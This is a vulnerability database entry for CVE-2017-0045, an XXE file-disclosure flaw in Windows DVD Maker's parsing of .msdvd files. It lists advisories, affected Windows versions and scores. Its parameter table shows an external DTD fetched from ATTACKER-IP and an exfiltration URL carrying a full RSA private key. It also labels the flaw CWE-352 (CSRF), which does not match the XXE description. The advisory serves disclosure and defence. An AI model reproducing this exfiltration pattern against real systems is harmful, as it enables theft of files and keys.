CVE-2017-0045

🗓️ 17 Mar 2017 00:00:00Reported by microsoftType

cve🔗 web.nvd.nist.gov👁 120 Views🌐 WEB

CVE-2017-0045 Windows DVD Maker in Windows 7 SP1, Windows Server 2008 SP2 and R2 SP1, and Windows Vista SP2 does not properly parse crafted .msdvd files, which allows attackers to obtain information to compromise a target system, aka "Windows DVD Maker Cross-Site Request Forgery Vulnerability.

Reporter	Title	Published	Views	Family All 22
0day.today	Windows DVD Maker 6.1.7 - XML External Entity Injection Vulnerability	16 Mar 201700:00	–	zdt
BDU FSTEC	The vulnerability of the Windows operating system allows a perpetrator to obtain information that can be used to compromise the target system.	6 Apr 201700:00	–	bdu_fstec
Circl	CVE-2017-0045	14 May 202511:38	–	circl
Cvelist	CVE-2017-0045	17 Mar 201700:00	–	cvelist
Exploit DB	Microsoft Windows DVD Maker 6.1.7 - XML External Entity Injection	16 Mar 201700:00	–	exploitdb
EUVD	EUVD-2017-0412	7 Oct 202500:30	–	euvd
exploitpack	Microsoft Windows DVD Maker 6.1.7 - XML External Entity Injection	16 Mar 201700:00	–	exploitpack
Microsoft KB	Security update 2017-03-14	14 Mar 201707:00	–	mskb
Microsoft KB	MS17-020: Security update for Windows DVD Maker: March 14, 2017	14 Mar 201700:00	–	mskb
Microsoft KB	March 2017 Security Only Quality Update for Windows 7 SP1 and Windows Server 2008 R2 SP1	14 Mar 201707:00	–	mskb

NVD

Node

microsoft windows_7sp1

microsoft windows_server_2008sp2

microsoft windows_server_2008Matchr2sp1

microsoft windows_vistasp2

[
  {
    "product": "Windows DVD Maker",
    "vendor": "Microsoft Corporation",
    "versions": [
      {
        "status": "affected",
        "version": "Windows DVD Maker in Windows 7 SP1, Windows Server 2008 SP2 and R2 SP1, and Windows Vista SP2"
      }
    ]
  }
]

Source	Link
exploit-db	www.exploit-db.com/exploits/41619/
securityfocus	www.securityfocus.com/bid/96103
securitytracker	www.securitytracker.com/id/1038015
portal	www.portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0045
hyp3rlinx	www.hyp3rlinx.altervista.org/advisories/MICROSOFT-DVD-MAKER-XML-EXTERNAL-ENTITY-FILE-DISCLOSURE.txt

Parameter	Position	Path	Description	CWE
payload.dtd	nested	ATTACKER-IP:8080/payload.dtd	XML External Entity fetch used by crafted .msdvd file to exfiltrate data to attacker-controlled server	CWE-352
query string containing encoded private key	path	ATTACKER-IP:8080/?-----BEGIN%20RSA%20PRIVATE%20KEY-----MIICXQIBAAKBgQDBJdMn4+ytDYNqbedfmnUQI+KQnaBjlY8dQZpY1ZpjjFtzhpB5zMPWo3m4dbwelHx8buOt0CdcC8YMavkPMv6zxHoQIwQrKSjUqvmzL2YQ+KfBzWDEayhX42c7957NSCLcOOpIE4A6QJdXDEc1Rj1xYpruU51jDmd6KMmkNP8Z7QIDAQABAoGBAJvUs58McihQrcVRdIoaqPXjrei1c/DEepnFEw03EpzyYdo8KBZM0Xg7q2KKgsM9U45lPQZTNmY6DYh5SgYsQ3dGvocvwndq+wK+QsWH8ngTYqYqwUBBCaX3kwgknAc++EpRRVmV0dJMdXt3xAUKSXnDP9fLPdKXffJoG7C1HHVVAkEA+087rR2FLCjdRq/9WhIT/p2U0RRQnMJyQ74chIJSbeyXg8Ell5QxhSg7skrHSZ0cBPhyaLNDIZkn3NMnK2UqhwJBAMTAsUorHNo4dGpO8y2HE6QXxeuX05OhjiO8H2hmkcuMi2C9OwGIrI+lx1Q8mK261NKJh7sSVwQikh5YQYLKcOsCQQD6YqcChDb7GHvewdmatAhX1ok/Bw6KIPHXrMKdA3s9KkyLaRUbQPtVwBA6Q2brYS1Zhm/3ASQRhZbB3V9ZTSJhAkB772097P5Vr24VcPnZWdbTbG4twwtxWTix5dRa7RY/k55QJ6K9ipw4OBLhSvJZrPBWVm97NUg+wJAOMUXC30ZVAkA6pDgLbxVqkCnNgh2eNzhxQtvEGE4a8yFSUfSktS9UbjAATRYXNv2mAms32aAVKTzgSTapEX9M1OWdk+/yJrJs-----END%20RSA%20PRIVATE%20KEY-----/	Exfiltration payload triggered by crafted XML referencing attacker-controlled resource via a web request	CWE-352

17 Jun 2026 00:56Current

5.1Medium risk

Vulners AI Score5.1

CVSS 24.3

CVSS 35.5

EPSS0.06581

CWE-352